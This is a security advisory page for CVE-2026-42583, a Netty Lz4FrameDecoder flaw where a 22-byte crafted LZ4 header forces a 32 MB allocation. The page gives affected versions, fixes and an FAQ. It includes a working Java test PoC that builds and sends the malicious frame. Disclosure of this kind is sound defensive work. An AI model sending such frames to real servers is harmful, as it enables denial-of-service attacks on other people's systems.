CVE-2026-42583: Netty: Lz4FrameDecoder resource exhaustion

Published May 7, 2026
·
Updated

### Summary Lz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation. ### Details io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after `readableBytes >= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses. ### PoC The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB ```java @Test void test() throws Exception { EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { AtomicReference<Throwable> serverError = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1); ServerBootstrap server = new ServerBootstrap() .group(workerGroup) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline() .addLast(new Lz4FrameDecoder()) .addLast(new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverError.set(cause.getCause()); } else { serverError.set(cause); } latch.countDown(); } }); } }); ChannelFuture serverChannel = server.bind(0).sync(); Bootstrap client = new Bootstrap() .group(workerGroup) .channel(NioSocketChannel.class) .handler(new ChannelInboundHandlerAdapter() { @Override public void channelActive(ChannelHandlerContext ctx) { ByteBuf buf = ctx.alloc().buffer(22, 22); buf.writeLong(MAGIC_NUMBER); buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F); buf.writeIntLE(1); buf.writeIntLE(1 << 25); buf.writeIntLE(0); buf.writeByte(0); ctx.writeAndFlush(buf); ctx.fireChannelActive(); } }); ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync(); assertTrue(latch.await(10, TimeUnit.SECONDS)); assertInstanceOf(IndexOutOfBoundsException.class, serverError.get()); clientChannel.channel().close(); serverChannel.channel().close(); } finally { workerGroup.shutdownGracefully(); } } ``` ### Impact Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Affected Software

4 affected componentsFixes available
maven/io.netty:netty-codec<=4.1.132.Final
4.1.133.Final
maven/io.netty:netty-codec-compression<=4.2.12.Final
4.2.13.Final
Netty Netty<4.1.133
Netty Netty>=4.2.0<4.2.13

Event History

May 7, 2026
Advisory Published
via GitHub·12:20 AM
Data Sourced
via GitHub·12:20 AM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·06:09 PM
Data Sourced
via MITRE·06:09 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:17 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-42583?

CVE-2026-42583 is considered to have a medium severity due to potential denial of service risks.

2

How do I fix CVE-2026-42583?

To fix CVE-2026-42583, upgrade io.netty:netty-codec to version 4.1.133.Final or later, and io.netty:netty-codec-compression to version 4.2.13.Final or later.

3

What versions are affected by CVE-2026-42583?

CVE-2026-42583 affects io.netty:netty-codec versions up to 4.1.132.Final and io.netty:netty-codec-compression versions up to 4.2.12.Final.

4

What is the attack vector for CVE-2026-42583?

The attack vector for CVE-2026-42583 involves sending specially crafted LZ4 compressed data that can lead to resource exhaustion.

5

What are the potential impacts of CVE-2026-42583?

The potential impact of CVE-2026-42583 includes denial of service through excessive memory allocation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203